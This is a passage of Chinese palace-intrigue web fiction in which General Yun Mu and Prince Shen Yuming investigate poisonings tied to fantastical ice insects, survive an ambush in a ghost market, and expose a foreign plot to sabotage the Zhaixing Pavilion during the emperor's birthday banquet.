想着讽他几句,但现在还有求于他,云暮也只好按下。 方才离得远,还黑,辛百草没看清两人的样貌,现下定睛一看,很快便认出他们二人都是易容前来,“二位小友,何不以真面目示人,你们求医的心还是不够诚啊。” 沈聿明还记着毒烟之事,正要开口呛回去,云暮按住了他:“我倒是敢以真面目示人,只怕你不敢看。” 从进来起,云暮就一直关注着“辛百草”的一举一动,模样、习惯等都与她记忆里的师父没有任何相似之处。 若他敢把她来鬼市一事抖出,坏了事,她不介意带人来把人杀了。 云暮的手在耳后勾了勾,撕下人皮面具。 “暮儿?” 辛百草大惊失色,也撕下了脸上的人皮面具。 云暮目光复杂地看着辛百草,她想过无数种今儿师父碰面的场景,有在京城的,也有在药王谷的,但没想到竟是在这黑暗阴森的鬼市,而且师父还放毒烟毒她! 辛百草嘿嘿一笑,拉着云暮坐在了房里唯一的一张椅子上,“乖徒儿,刚才的烟没吸进去吧?” 云暮幽怨地看着他:“师父,您说呢?” 辛百草献宝似的把几个瓷瓶捧到她面前:“这是师父在西域得到的好东西,都给你。” 云暮毫不客气地揣进怀里:“师父,你何时来了鬼市?” 第一百三十五章 寒虫 辛百草故作高深地抚须,没想胡须连同人皮面具一起撕了去,摸了个空,他讪讪地放下手,“这不是为了隐瞒身份嘛。” 云暮单手撑额,作头痛状:“师父,您快些换回来罢,徒儿看不惯。” 说罢,她起身拉着沈聿明往门外走去,还贴心的掩上了门。 师父尚未到不惑之年,却一身臃肿,还佝偻着腰,像极了耄耋老翁。 辛百草嘿了一声,“还嫌弃上为师了。” 话虽这么说,但他还是把身上的伪装给卸了,摇身一变,又成了那个媒婆争相上门说亲的辛百草。 门外,沈聿明的视线在门和云暮之间来回打转,迟疑问道:“他真是你师父,你没认错人?” 云暮的脸上还堆着笑:“为何这样问?” 沈聿明道:“药王辛百草的名号传遍大江南北,我还当是一个白发白胡须的老人,结果竟……” 云暮轻笑,接过他的话:“如此年轻?人虽年轻,但也继承了祖师爷的全部医术,早早出了师,游历至京城时,就顺手把我带回了江南。” 两人正说话间,门从里打开,辛百草只探出了一个头,对沈聿明歉意一笑:“劳烦王爷先在外头等一会儿,我同我的小徒儿说两句话。” 沈聿明只得点头道:“无妨。” 屋内,两人席地而坐,辛百草收了笑,声调也压得沉了些:“暮儿,你同秦王是何关系?” 还真是什么都瞒不过他,云暮坐直了身体,老实道:“就是师父想的那样。” 辛百草追问:“他知不知道你……” 云暮的目光移到身下的垫子:“知道,我与他自小相识,只是先前生了场病,不大记得了。” 辛百草满心都是地里好好的白菜被猪拱了般难受,他捶胸顿足,而后一整个人摊在了地上:“你看上他什么了,他那张脸……” 说完,他又哀哀地哎了一声,“还不如小川呢!” 云暮好笑地看着他:“师父,他脸上的也是面具,别说您看不出来。” 辛百草一个鲤鱼打挺坐起,“小时候认得归小时候,你怎知他不是存了故意接近你的心思。” 说到此处,他呵了一声,“当初你爹多得那狗皇帝的欢心,最后竟落得那个下场,前些日子那个何秋林虽将当年之事全盘托出,但那狗皇帝并无表示,依旧压下这件事!” 大仇得报,但云暮心里并无雀跃,她茫然地望着辛百草,“师父,徒儿不知未来之路该如何走了。” 她猜测贵妃杀害她爹一事另有隐情,只是她怎么也撬不开他们的口,只能草草还爹娘一个清白。 她原想着报了仇后便回江南,可如今却脱不开身,那个最该死的也还好好地活着。 辛百草不忍看她如此,如哄幼儿般给了她一颗饴糖:“凭心而动。不管怎样,你都是我辛百草的徒儿,你只管放手去做就是,还有为师给你兜底呢。” “大不了到时为师偷偷潜进皇宫,给皇帝老儿下毒,用解药逼他赦你无罪就是。到时带着你和小川一起去西域,为师在那里也建了一个药王谷,江南的还要气派。” 云暮被他这一番话逗笑了,她揉了揉发酸的脸颊:“师父,让人进来吧,皇上命我在九日内破了这个案子。” 辛百草懒得去开门,也不许云暮去,只道:“王爷,进来吧。” 又道:“人被冻成冰块那个案子?这不是大理寺的活吗,怎么到了你的手上?” 云暮诧异:“师父也听说了?摘星阁由我负责,人是在摘星阁死的,自然落到了我的头上。听说还有鬼魂作祟,闹得人心惶惶。” 辛百草在身后的架子翻找了一通,最后将一只干瘪得只剩下躯壳的虫子摆在他们面前。 “此虫的名字俗得很,就叫寒虫,它只生在西域的雪山之中,死后它的毒性也就不在了。但这虫也难养得很,只生长在冰雪之地,温度一高,就活不成了。” “从西域送至京城,花费钱财不计其数。” 云暮捏着那对薄如蝉翼的翅膀,仔细观察着这只虫,而后摇了摇头:“水桶之中的水和冰块都无此物。” 她掏出水壶和一块木头,递给辛百草:“下午的时候,我特意去装了一壶水,师父看看是否有寒虫之毒?” 辛百草一一接过,放在鼻下嗅闻:“有一点,但不多,许是之前下过毒,而后清洗过木桶。” 云暮沉思,道“水桶应该是日日都刷。今儿上午,大理寺少卿喝了桶里的水,在与我进宫的路上突然就成了一 个冻人。这寒虫的毒性竟这般强,只用这么点毒就能把人毒倒?” 辛百草竖起食指摇了摇:“这么点毒自然是毒不死人的,想要把人毒死,浴桶那般大的水桶至少得用上三四十只寒虫。许是有人下毒之后,又偷偷洗了桶,所以桶上的毒才只有这么一点。” 看来还是得从水这方面入手,只是为何只有王监工的人被毒死? 云暮问道:“师父,你可有活虫?” 辛百草摇头:“我回来时也曾是这带几只,但驿站之间隔得太远,且大多驿站没有冰室,那些虫子都死在路上了。” 云暮不死心,“那可有法子解毒?” 既然这人能将寒虫放入水中,那她也可如法炮制,将解药放在水中供人饮用。 辛百草点头又摇头:“有一虫名唤赤焰虫,专解寒虫之毒,但正常人用了此虫,亦是见日必死。不过死法有些不同,寒虫是把人冻成冰人,而此虫是把人烧得灰飞烟灭,尸骨都不会留下半分。” 云暮咂舌:“这两种虫倒是头一回听说。” 辛百草解释道:“一个生长在西域的雪山,一个生在苗疆的瘴林,我没教你们用毒,你们不知道也是正常。” 一直听着他们说话的沈聿明突然开口了:“此虫只有放在水中才能激出毒性吗?” 辛百草:“没错,而且只能是冰水。” 云暮突然有些后怕,“所幸那日我没有喝水。” 第一百三十六章 鬼市遇袭 云暮看向辛百草,话还没说,木屋忽然开始晃动。 沈聿明离门近,几步走到门口张望,“不好,绳索被人切断。” 云暮听后,也起身走到了门口,眼看着木屋被水流冲着往外,但到山洞中间时,却被东西拦住了去路,她接过绳索:“被人一刀砍断。周围亦无船只,看来是想把我们困死在这里。” 今日轻装简行,没有带钩爪,她看向身后的辛百草,“师父,你可有方法上岸?” 辛百草摇头:“上岸亦无用,咱发现了他们的秘密,如今必定有杀手躲在暗处等着去我们的命,贸然靠岸只怕是是难逃一死。” 云暮闻言,凝眸朝石壁看去,黑森森且拳头大小的石洞里,正泛着银光,随着辛百草的话落,一根羽箭落到了云暮的脚边。 她拔起羽箭,绕有闲心地同沈聿明开了一个玩笑:“咱就来过两次鬼市,两次还都被人追杀,这是命里犯冲?” 沈聿明接过箭,用了八成的力道往黑暗之处掷去,果不其然,听到了一声惨叫。 云暮敛目听了片刻:“人不多,多半是机关。” 又道:“师父,还是您会选地方,这些箭一旦射出,木屋顿时就成了靶子,您莫非是想效仿先人,上演一出木屋借箭?” 话还未说完,一阵箭雨朝他们袭来,她抓着沈聿明退回到屋内,她将耳朵贴在了木墙上,发现四面皆有箭朝他们射来,她手里就一把软件,这还怎么逃? “师父,不然我们从水下潜出去?” 沈聿明道:“我不会水。” 辛百草也道:“为师也不会水。” 云暮:…… 她怎么记得从前师父还带着她和师兄去凫水,还自称江南浪里小白条。她自暴自弃道:“那你们说怎么出去?不然我先出去,再划个小船来寻你们。” 离木屋最近的便是栈道,从此处游到岸边,只怕精疲力竭都到不了岸边。 辛百草不紧不慢地重新伪装好自己,重新变回了那个肥胖且佝偻着背“神医”,“你不相信木屋,也该相信为师吧,放心,房子坚固得很,不会有事。” 云暮幽幽道:“如果一把火过来呢?” 外头火光乍现,屋内的三人顿时沉默,最后还是辛百草小声地抱怨了一句“乌鸦嘴”。 云暮斜眼看他:“师父说什么?” 辛百草拍着胸膛道:“没什么没什么,放心,这木屋里外都刷了防火的石灰泥,绝对不会有事。” 但她还是忍不住开口再道:“若是……” 辛百草真怕她的话再次应验,急忙打断:“什么都没有!相信为师,这个木屋非常安全。” 云暮暂时不敢再信他,已经做好独自一人拖着两个不会水的人逃命的准备了。 果不其然,东西落地的声音响起,而后木屋开始震动,门口的方向已经被炸出了一个洞口。 三人再次沉默。 云暮默默地把寒虫塞进怀里,一左一右拉着两人往后退了几步。 一颗圆黑的小球咕噜噜地滚到方才他们坐的位置,引线还在冒火,三人六目相对。 就在云暮想要上前把即将爆炸的霹雳子踢到外边,辛百草一个箭步上前,捏起霹雳子奋力丢向石壁,“这药是老夫这些年呕心沥血所制,你们炸我可以,但不能炸我的药!” 云暮用力抿嘴,生怕自己笑出声,她师父把药看得比命还重,这些人也真是蠢。 辛百草不知从何处找来钩爪,丢了一个给沈聿明,指着左边道:“劳烦王爷等会趁机将钩爪挂到那边的石头上。” 虽然不是什么必要的事,但他就是看不惯此人闲着。 又朝云暮伸出手:“把身上的霹雳子都给为师,看为师炸不死他们。” 云暮将装着霹雳子的布袋递给他,问道:“可要徒儿给您报位置?” 辛百草指着没有被波及的角落说道:“你去那待着,别乱跑。” 云暮没有推辞,拎着小板凳就坐下了,一边是沈聿明从窗子抛钩爪,一边是师父拿着弹弓往不同的方向射霹雳子,她在心里感叹:有靠山就是好,遇到事都不用她动手了。 几颗霹雳子落下,山洞开始砸下落石,不少机关的洞口被石头堵住,不停飞出的箭也少了大半。 沈聿明趁机将三个钩爪都勾到石柱上,但他没有出去,反倒是来到云暮身边,与她一起看着辛百草,“你师父耍得一手好弹弓。” 云暮道:“那是,从前他揣着一个弹弓就带我和师兄去采药,下山时, 我和师兄的手里不是野鸡就是野兔,都是他拿弹弓打的。” 沈聿明好奇道:“你的这身武艺也是他教的?” 云暮摇头:“非也,师父花钱雇的武师,他不过是偶尔指点一下。” 沈聿明心生佩服:“能教出你和季兄这样好的身手,这武师想来也是个有大作为的人。” 云暮想起往事,默了默,而后摇头:“无名小卒罢了,算不得什么人物,我和师兄出师后,他便外出了,如今也不知去向。” 外头的动作渐消,但辛百草还拿着霹雳子到处打,云暮在屋内翻了几下,果然找出了几块布,她将架子上的药都一股脑地放了上去,打了好几个结,确认不会掉出来后,将它们背在身上。 “师父,人都死绝了,别炸了,再炸下去,石洞要塌了。” 辛百草遗憾道:“我还当他们有多厉害呢。” 云暮问道:“还有什么东西没收拾?” 辛百草看着空空如也的架子:“没有了,你们先走,我断后。” 云暮抓着绳索,使劲拽了两下,石柱纹丝不动,她反手一拧,脚尖借力,荡到了半空,又稳稳地落在了岸边的栈道上。 后面的两人紧随在她身后。 辛百草将剩余两颗霹雳子射到木屋内,木屋四分五裂,漂浮在水上。这么大的动静也没有招来人。 绕过栈道,几人找到了那几个被炸死的人,云暮的软剑一挑,没在他们身上发现印记和可疑之物,她收回剑,“先让他们在这睡一晚,明日再派人来带回去。” “师父,你当真不跟我们走?” 辛百草道:“这里还没待够,先不走。” 云暮只好带着沈聿明往相反的方向走去。 第一百三十七章 图纸 翌日一早,云暮就到了摘星阁,几个监工正在门前分发粥水馒头,时候尚早,人也还未到齐,三五个聚在阴凉处,不时在说些什么,他们头一回在这个时间见到云暮,暗道稀罕。 监工把勺子放置桶底,轻轻捞了一圈,才慢慢往上提,捧着一碗全是米的粥,又顺手拣了两个馒头,“云将军,先将就着吃点早膳吧。” 云暮推拒:“不了,本将军吃了才来,你们用吧。等会儿人齐了后,先让他们在里边候着。”说罢,她抬腿往阁内走去。 她目光锁定大堂中央的水桶,几步上前,水中浮着一大块冰,晶莹剔透地,里头并未掺了寒虫,云暮扫了一眼,装了一大壶水后便往楼上走去。虽是在检查楼宇,三余光一直观察着楼下的情形。 外头的人用过早膳后,就拎着水壶到了堂中,来得早的便能早早装上干净之水,再过一段时间,等人多了,水中出了灰尘,更多的就是顺着手臂滑落到桶中的汗水。 为了赶在万寿节前建成摘星阁,云暮又征了不少人,这么多人前来打水,如何避得开汗水滴落在桶中?千般嫌弃也只能忍下。 眼看金乌越爬越高,人也慢慢多了起来,云暮不再走动,反倒是撑着栏杆看向水桶的方向。 何昌昨日喝了摘星阁的水,见了太阳后毒发,但昨日除了何昌死外,再无他人中毒。 她猜测有两种可能,一是在桶中下毒,在她和何昌走后,凶手又往水中加了赤焰虫,解了他们的毒。二是这毒只下给了何昌和她,但她并未用那壶水,从而逃过一劫。 给他们送水之人会不会就是凶手?他为何要这般做? 王监工所带的人不过是运送木料砖土罢了,缘何被人盯上? 她的手指在栏杆上轻点,还是百思不得其解。收回手后,她继续拾阶而上。 高楼万丈平地起,登得越高,风声越大,风猎猎吹起她的衣摆,今早梳得一丝不苟的发也被吹散,于风中交缠在一起。 云暮她没有贸然上前,反倒是和栏杆隔着一段距离,将整个京城的美景都收进眼底,偌大如皇宫,也不过巴掌大。 从北面望去,斜上方便是金銮殿,门外站在不少不少金吾卫,在往里看去,还能窥见殿中的红柱。 一只不知从何处来的蚂蚁颤颤巍巍地在栏杆上爬行,云暮用两指将其捏起,对着龙椅的位置捻了捻手。 “云将军,人齐了。” 云暮的指尖在栏杆上蹭了蹭,“走吧。” 她站在木台之上,朗声道:“昨儿是谁给本将军和何大人装的水?” 几百号人无一不在对视,更有甚者低声议论,但无一人站出。 左右背后之人已经知道她发现了线索,还不如开诚布公,没准她能从旁人的恐惧中发现线索:“本将军怀疑何大人之死与昨日所饮的水有关,若是主动站出,把话说清,本将军不会怪罪,若是执意隐瞒,待本将军把人揪出来后,就莫要怪本将军无情了。” 云暮凉凉的目光在一个少年身上停留,两人对视了片刻,少年先移开了目光,她则补上一句:“本将军过目不忘,我数三个数,再不出来,你这条命就当是配给何大人吧。” 少年心里本来还存了侥幸,见云暮直勾勾地盯着他数数,身旁的人也顺着他的目光望过来,不停地催促:“你还不出去,是想把我们害死吗?” 在云暮数到一时,一直无动于衷的少年被身后的人推了出去,“你胆子不小啊,竟然给朝廷官员下毒,要死你自个儿死,可别拉上我们。” 少年一个踉跄,双手撑地,他索性跪到地上,直视云暮:“回将军,水是小人所打所送,但小人不知水里被人下了毒啊,还请大人明鉴。” 所有人都怕受到牵连,不停地为这个少年求情,就连平日里带头欺凌他的监工也腆着笑脸道:“云将军,此子胆小如鼠,家中还有一个年迈的祖母,他绝对做不出这种事。” 云暮从木台一跃而下,往方才说话的监工面前一站,意味深长道:“监工,人不可貌相,且人心隔肚皮,你怎知他有没有包藏祸心。” …… 何昌的府上挂满了白幡,他的妻儿正跪在地上,麻木地往火盆里丢着纸钱,黑灰轻飘飘地顺着风往上飞,落在他们的发上。 “嫂夫人,节哀。” 听到声音,女人放下纸钱,手背在脸上胡乱抹着。 云暮拜了拜,稳稳当当地将三根香插在了香炉里。 何夫人带着两个孩子朝云暮行礼,“见过云将军。” 云暮掌心往上抬了抬手,“嫂夫人快快请起,本将军来是想问问,何少卿可有和你说过摘星阁之事?” 何夫人摇头:“夫君从来不将公务带回家中,这些没听见他说过。只是……” 云暮问道:“只是什么?” 见她不肯说,云暮道:“皇上将此案交由本将军和程大人负责,你尽管把你知道的事说出。” 何夫人又行了一礼,道:“夫君前几日去过那几个死者的家中,回来后便一直紧锁着眉头,夜里还经常在书房挑灯看着图纸叹气,问他也总是缄口不语。” 直觉告诉云暮,何昌发现了他们的秘密,那壶水就是他们为了灭口让那少年送给他。 “什么图纸?” 何夫人道不知:“像是一座高楼的内部结构图,我斗胆猜测是摘星阁的。” 摘星阁的内部图纸,看这个作甚?云暮问道:“图纸还在书房?” 何夫人摇头,往堂中央的棺椁走去,用力抬起一个角,从里边拿出了一张叠得四四方方的纸:“这几日夜里总有贼人登门,我便猜到他们是为了这张图纸而来,斗胆将其藏在此处,云将军莫要怪罪。” 云暮见过摘星阁的图纸,与手上这份大差不离,但在细微处又有不同,“嫂夫人,何大人是从何处寻来的图纸?” 何夫人道:“那个死去的监工家里。” 第一百三十八章 画像 昨儿得知他们的死因后,沈聿明今天派人把那几个死者都送了回去,因王监工上无须赡养的父母,下无妻儿,无人前来认领,只剩他孤零零地躺在停尸房。 云暮去到王监工家时,才发现只剩下焦黑土砖。 她敲开邻居的门,指着王监工家问道:“他家怎么变成这样了?” 云暮的恶名和画像在京城流传太广,几乎到了人人认识的程度。夜间孩童哭闹不肯睡觉,许多人都拿云暮吓唬过孩子,这开门的妇人便是其一。 隔三差五就出现在嘴边之人出现在面前,妇人说话的声音都有些发颤:“回大人,前几日他家夜里突然起了大火,当时人人都在熟睡,等我们发现时,已经晚了。” 要将房子烧成这样,火势必定小不了,金吾卫竟然没发现此处的火光? 云暮皱眉:“巡街的人没来?” 妇人赶忙解释:“来了倒是来了,只是这火实在是太大,水也浇不灭,只能任由它烧了。” 她指着房顶上新盖上茅草道:“大人,要是再醒得晚些,民妇家的房子也要保不住了。” 云暮衣袖一甩:“荒唐!若是里边有人,也要见死不救?” 妇人双手绞在一起,不敢回话。 云暮:“他平常可曾与人结仇?” 妇人:“没有,他总是独来独往,回来就把门一关,独自在家饮酒。” 云暮又问:“这些时日可有生面孔来过他家?” 妇人想了想,摇头道:“并未发现,民妇平日里早出晚归,就为了糊口,哪还能分出心给一个没说过几句话的人,大人不妨去别处问问。” 这话说完,周围几户人家的门都轻微地颤动,那些看热闹的人都把头收了回去,并在心里骂妇人祸水东引。 云暮见她神色惊惧,不时往门后看,她拨开妇人,才往里走了一步,就听见了妇人的求饶声:“大人,千错万错都是民妇的错,民妇一人承担罪责,还望大人您放过民妇的家人。” 她往外推门,看清了门后的东西,是一张画像,画中人的獠牙和林子里的野猪比起来有过之而无不及,头顶是乱成一团的头发,络腮胡是本画色彩最浓重之处,袒胸露乳,下半身不过是拿一块布草草裹住,手里还拿着一把长剑。 云暮定睛细看画中人的脸,发现竟与她有七分相似,再定睛看,旁边写着两个小字,赫然就是“云暮”。 云暮:…… 她好歹也是被人称为玉面阎罗,在民众的眼中竟生得如此扭曲? “谁画的?” 被发现了,她一家七口命不久矣,妇人两眼一黑,这画毕竟是她重金所求,还帮她哄过两个孩子,现在让她说出来历,这不是要陷旁人于不义吗? 妇人大声道:“此画是……是民妇所画,与旁人无关,大人要杀就杀民妇一人吧。” 方才还在心中骂妇人的人抬手给了自己一巴掌,并唾了自己一句:“我竟如此揣测她,真该死啊。”而后把云暮的画像都找出烧掉。 云暮看着妇人粗糙且开裂的手,嘴角微微抽搐,她是什么很好糊弄的人吗? “云大人。” 熟悉的语调,云暮循声望去,是易了容的沈聿明,她往里走了一步,避开了他的视线,将手中的画团吧团吧塞进怀里,又拍了拍。 临出门前,云暮威胁道:“若是再让本将军看到这东西,小心你们的脑袋。” 逃过一劫,妇人的脊背都放松了,她的额头还抵在地上,嘴里呼出的大气将泥沙吹进眼里都没管:“多谢大人开恩。” 沈聿明看着两人,不明所以:“这是怎么了?” 云暮不自在地咳了一声,“在家中私藏一些不能入眼的东西,被我发现后就吓成那样了,你怎么来了?” 话题被转移,沈聿明嘴上解释,心里却盘算着等会儿再来一趟。 “何昌的夫人说你来了这里,我就过来看看有没有什么能帮得上的。” 云暮对着空荡荡的房屋抬了抬下巴:“都被烧得一干二净了,竟也没有人告知我一声,看来金吾卫的皮得紧紧了。” 沈聿明弯腰走了进去,地上的黑灰瞬间就把他的鞋面染黑,“脏,你就别进来了,把那根棍子递给我。” 棍子不知从何处来的,就这么放在门口,和这个焦黑无顶的房屋格格不入。云暮拿出一张干净的帕子,把最上面的那端包住才递给沈聿明:“灰大,你不如把面蒙上?” 沈聿明却不以为然:“无事。” 在屋里搜了一遍,一点有用的东西都没有剩下,沈聿明解下那张帕子,若无其事地塞进他的袖口。 又去了其他几家,发现只有王监工的家里被人烧毁,其他人安然无恙。 沈聿明道:“里外都被人浇了油,大半是为了毁尸灭迹,这王监工到底发现了什么?” 云暮道:“你先陪我去一趟摘星阁,其他的回去再说。” 去到之时,海永汲正要把摘星阁锁上,见到二人时,有些意外:“云大人。” 云暮要过他手中的钥匙,“你先回去吧,门我一会儿再锁,再派人把钥匙给你送去。” 海永汲不着痕迹地看了身后的男人一眼,应了一声是后,跛着脚走了。 云暮和沈聿明一人拿着一张图纸,一层一层地从下往上检查,果然发现了不对。 他抖了抖图纸,问道:“这张图纸你从哪得来的?” 两人站在四楼,楼下的窗户突然打开,几十个翻了进来,云暮心道:“果然来了。” 从何昌到王监工及其他死者的家,她就察觉到有人在暗中监视着她,只是不知出于何因,一直没有动手,她也就装作不知。 在来摘星阁的路上,她的人给了她一张纸条,说是有人要杀害何昌一家,人已经被他们拿下了。 她解下腰间的剑递给沈聿明,自己则抽出了腰间的软剑,抓着垂落的绳索,层层木头落到了地上。 “也难为你们跟了本将军一路,现在才动手,说说吧,你们的主子是谁?” 第一百三十九章 夜探摘星阁 一人群半点声音都没出,只无声地看着云暮,为首之人挥剑,几十人同时朝云暮发难。 沈聿明这时也从天而降,和云暮背靠着背站着。 云暮抓着绳索借力踹向一人,把人踢出去三尺远,撞到柱子上,吐出了一大口血。软剑划破他们的前胸,飞溅的血迹沾在她的脸上。 她腾不出手来擦,又挡住了一击,和沈聿明对视了一眼后,她往左右张望,沈聿明意会,将一部分人往另一处地方引。 此乃一楼,损伤不得,在这摘星阁内打斗委实吃亏,但也并非无解。 在那伙人再次群起攻她之时,云暮掏出一包药粉,往旁边撒了一圈。 这是她最近新研制的毒药,只在白鼠身上试了毒,这些人今日算是成了她的药人了。 杀手仗着面上都蒙了面巾,动作不过停顿了一瞬,复又上前。 云暮纹丝不动,甚至还不紧不慢地往眼中滴了两滴药水。 就在她的两丈之外,杀手倏地从空中坠地,捂着眼睛在地上打滚,但依旧没有发出任何声音。 看来毒性还是不够大,云暮摸了摸下巴,又贴心地撒了几包,余光瞥到沈聿明节节败退,她随手捡起一把剑就跑了过去。被多人围攻,还是重一点的剑用起来顺手。 两人联手,这十来个人很快就被制服。霎时,摘星阁的的柱子下,都捆满了人,一个挨着一个,云暮无端想起那个妇人檐下的那几串玉米。 手中的剑停在一个杀手的脸上,云暮问道:“你们是奉了谁的命来杀本将军?” 无人应答,杀手们只一味地流着泪,涕泪流到唇边,无手擦拭,只能任由它们淌到地上。 云暮又抬起剑,一一掠过杀手,最后随意地停在了另一人面前,“他们不说,你说。” 此人只低头吸溜着鼻涕,亦不曾开口,“哑巴了?” 小喽啰的嘴巴都这般牢靠,云暮有些惊讶,无法,她只能把剑抵在为首之人的面上,剑尖跃跃欲试,但还是没有挑开。 “你来说。” 那人也沉默不语,云暮的脚尖踢在他的脚腕上,他闷哼了一声,但依旧不开口。 云暮耐心全无,一剑挑开了他的面巾,在他面上留下一道浅浅的血痕:“海监工,又见面了。本将军实在是不愿相信是你。” 海永汲嘴唇嗫嚅了几下,良久才道:“你怎么知道是我?” 云暮挑眉:“这很难猜吗?你的柱子消息不灵通啊,竟然没有告诉你本将军师从药王谷辛百草吗?你的跛脚从一开始都是装的,本将军不过是想看你搞什么名堂才没有戳穿。” 海永汲怔住了:“你那日为何……” 云暮将长剑丢至一边,“不过是为了迷惑你罢了,谁想你竟然这么蠢。” “说说吧,往摘星阁的水中下寒虫之毒,于鬼市和此处刺杀本将军,这都是为了什么?” 沈聿明将杀手的面巾一一挑落,鼻梁高挺,再细看,还能发现他们的眼珠带了灰白,是北域人的特征。 沈聿明威胁他们:“再不开口,我们只好把你们送到诏狱,万种酷刑之下,死都成了解脱。” 还是无人应答。 海永汲哈哈笑出声,像看傻子一样看着他们二人:“你就算喊破天,他们也不会回你一句。” 沈聿明不知他为何突然兴奋,疑惑看他。 海永汲笑得脸颊发酸,肚子也抽疼,才道:“他们又聋又哑,只有双目能视人,怎会知晓你们所问之事,又如何作答?” 这话其实掺了假,这些确实是聋哑人,但都是后天所致,虽听不见说不出,但能看懂唇语。 云暮闻言,蹲下身检查了一番,发现确是如此,她一脚踹在海永汲的胸口,“都说北域之人最是和善不过,谁想也都是一些首鼠两端之辈。” 此刻也审不下去了,她放出飞云令,让金吾卫送去诏狱。 她点了点海永汲:“这些是下毒害死何大人的嫌犯,其他人可以死,但此人你们得看好了,他若是死了,你们也不会有什么好下场。看好此人,别让他死了。” 一顿折腾下来,寻常人家都已经用过了晚膳,见金吾卫闯进大门紧闭的摘星阁,又押着几十号人出来,无不瞠目结舌。 “这些都是什么人?” “摘星阁成了贼窝?” …… 在他们好奇的眼神中,云暮举着灯笼,重新关上了摘星阁的大门,再次和沈聿明一起检查摘星阁。 结构相差无几,但又在细微处不同,越是临近顶楼,差别就越大。 天色渐黑,云暮自被人毒了眼睛后,到了夜间,视力大不如前,一个没注意,差点被一根木头绊倒在地。 “小心!” 沈聿明一把抓住她的手臂,把人往他那边带,等人站稳后,他不悦地把木头踢到一旁。木头顺着力道往前,撞在了另一对木料上。 视线被剥去了一部分,其他的感官就更加敏锐,云暮耳朵一动,抓住沈聿明的手:“不对。” 沈聿明取下灯罩,拨了拨灯芯,火光又亮了几分,“什么不对?” 云暮接过灯笼,往那堆木料走去,蹲下身子细细打量着它们,单从外表看不出有什么差别,她在上面敲了几下,朝沈聿明伸出了手:“把剑给我。” 沈聿明也听出了不对,他抽出剑道:“你想做什么告诉我便是,这里太过昏暗,免得伤了自个儿。” 云暮敲敲打打,挑出几根木头,“将这几根都劈开。” 前面都能顺利劈开,拿到后面几根时,沈聿明察觉到木头的重量有些不对,比前面的几根重了不少,一剑下去,剑身冒出了火星,而木头只受了皮外伤。 一连几根都是如此,沈聿明皱眉:“这是怎么回事?” 云暮把灯笼放在地上,她拿过剑,将木头外面的那层削去后,露出了它原本的样貌,是一根用铜铁浇筑的短柱,外头包了一层薄木,两头又上了一些漆,用以迷惑他人。 云暮指着云梯道:“你上去看看上面的木头。” 第一百四十章 北域 在摘星阁的顶层,还要站在云梯上看着上面的情形,夜间的风本就大,沈聿明有些畏高,心里打着鼓,但还是爬了上去。 云暮问道:“发现什么了吗?比如木头被削得太薄?” 沈聿明的声音被风吹得凌乱:“没有。” 又检查了周围,还是没有任何发现,云暮只能让他先下来。 她看着顶上,还是不解,“这不应该。” 沈聿明按了按狂跳的心口,为了不让云暮发现他双腿发软,他扶着柱子,强装镇定:“怎么了?” 如今不过是猜测,云暮本不想说,但最后还是道:“你瞧这里,若是从这里断裂,上面及周围的木头都会落到正堂中央。” “万寿节那日,皇上会在摘星阁宴请各国使臣,到了那时候,只需有心之心轻轻一拉,下面之人就会葬身于此。” “周围一直对大梁虎视眈眈的国家便会借此发难,派兵攻打。大梁国君及一众皇子皆身死,失了主心骨,大梁将士不战而亡。” 沈聿明的周身浮着冷气,云暮缓声道:“这不过是我的猜测罢了,方才你也见了,那些横栏没有人动过的痕迹,真相如何还得审了海永汲才能知晓。” 回府后,云暮叫了水,除衣之时,一个纸团掉到地上,云暮捡起一看才想起画像之事。 这东西实在有损她的形象,但也只在平头百姓手里暗中流通,让金吾卫大张旗鼓去搜寻,事情闹大了,只会更更多的人笑话。 云暮走到烛台边,点燃画像,罢了,能止小儿夜啼也算是好事一件了。 诏狱。 金吾卫虽然名义上只管京城城防,但梁文帝宠信云暮,派她带人做过不少分外之事,因经常把人送去大理寺,与大理寺的人也算熟识,尤其是何昌。 如今杀害何昌之人被抓,冯章虽有心审人,但又怕下手太狠把人弄死,因此没敢让人对海永汲动刑。 人被捆在刑架上,除了手脚腕被铁锁磨红破皮之外,身上再无其他伤,与诏狱格格不入。 干净整洁的白衣有些刺眼,云暮的头靠着椅背,手指动了动:“你们太久不审人,手生疏了?照着从前的手段先给他来一遍。” 刑还没上完,人就半昏了过去。 “停手,把人弄醒。” 哗啦一阵水声过后,就是一声声惨叫,流出的血水沾湿了云暮的衣摆,她毫不在意,抬手掐着海永汲的脖子。 素白细长的手指,杀起人来也格外赏心悦目,云暮问道:“杀害王监工及他手下之人,是为了把你们的人安插进去吧?” 海永汲不语,但颤抖的眼皮已经告诉了云暮答案。 “你只对王监工及封顶的工人下手,为的是在上面做手脚,本将军去看了,也识破了你们的阴谋。” 云暮边说边觑着海永汲的表情,观他的反应,“本将军又猜对了。” 听到只是猜测,海永汲猛然抬眼,怒视云暮,再看见她脸上的表情后,闭上了眼,“诏狱的盐水不错,草民不过是疼得厉害罢了。木料都是由工部采买,草民能做什么手脚?” 云暮反问:“本将军何时说过是木料之事了?” 听说今岁来给皇上贺寿的是你们的二皇子,他人才从北域出发,你却已经带人潜进了大梁,还混进了摘星阁。 摘星阁一倒,二皇子的命可就难保了,他怎么会让手底下的人做出这种蠢事? 大梁此时以你们为借口,发兵北域,你们挡得住吗?” “云暮,你!” 从前只听云暮严刑逼供,他何时会相面读心了?多说多错,海永汲闭上眼,不再作答。 云暮有段时日没来勤政殿,入目是一张张经幡,勤政殿中间的博古架被人撤了去,换成了一张紫檀木圆椅,座椅的周围摆着几个香炉,缕缕香烟自炉中飘出,整个勤政殿宛如天上仙境。 座椅的下首,几个道士装扮的人正在打坐,面前的矮桌上摆着经书,人却闭着双目,嘴里念念有词。 梁文帝敲了敲玉罄,玉石相击的清脆声让道士们住了嘴。按理说梁文帝修炼之时不该被打扰,但云暮不按常理出牌。 道士轻轻地收起经书,朝云暮行了一礼后,无声地退了出去。 “皇上,臣有要事禀报。” 梁文帝依旧是打坐的姿势,“何事?” “北域暗中派人潜进大梁,疑似在工部安插了人手,欲对摘星阁及万寿宫下手,何昌应是因察觉此事而被灭口。” 梁文帝眼皮一掀,手在紫檀椅的扶手上重重一拍:“可有证据?” 云暮将海永汲的供词呈上,“昨日傍晚,臣在摘星阁被几十人围攻,眼珠灰白,乃北域人的特色。” 梁文帝看着供词:“怎么只有一份?其他的呢?” 云暮回道:“其余人既聋又哑,只有海永汲一人能听能言。” 梁文帝又问:“他们在摘星阁及万寿宫做了什么手脚?” 摘星阁乃他宴请使臣之地,而万寿宫则是修道之地,任何一个都不能有闪失。 